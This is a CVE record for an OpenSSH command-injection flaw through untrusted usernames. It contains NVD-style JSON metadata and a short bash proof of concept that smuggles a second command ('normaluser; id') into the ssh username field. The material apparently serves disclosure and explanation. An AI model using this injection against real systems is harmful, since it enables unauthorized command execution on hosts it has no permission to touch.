CVE-2026-35386

#!/bin/bash # This PoC demonstrates the concept of the vulnerability. # It requires a vulnerable OpenSSH version (< 10.3) and a specific ssh config. # Assume the ssh_config contains a directive that expands %u (username) # into a context that is passed to a shell or executed insecurely. # Malicious username containing shell metacharacters to execute 'id' command MALICIOUS_USER="normaluser; id" # Attempt to connect using the malicious username # In a vulnerable scenario, this would execute 'id' on the client or server side # depending on the specific configuration flaw. ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MALICIOUS_USER@target_host # Note: Successful exploitation depends on the specific non-default % configuration # mentioned in the CVE description.

{"cve": {"id": "CVE-2026-35386", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:27.623", "lastModified": "2026-04-27T14:03:07.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In OpenSSH before 10.3, command execution can occur via shell metacharacters in a username within a command line. This requires a scenario where the username on the command line is untrusted, and also requires a non-default configurations of % in ssh_config."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.6, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-696"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbsd:openssh:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.3", "matchCriteriaId": "F40F50BC-86AA-4D7F-88A5-A244CD7606F3"}]}]}], "references": [{"url": "https://marc.info/?l=openssh-unix-dev&m=177513443901484&w=2", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.openssh.org/releasenotes.html#10.3p1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/02/3", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}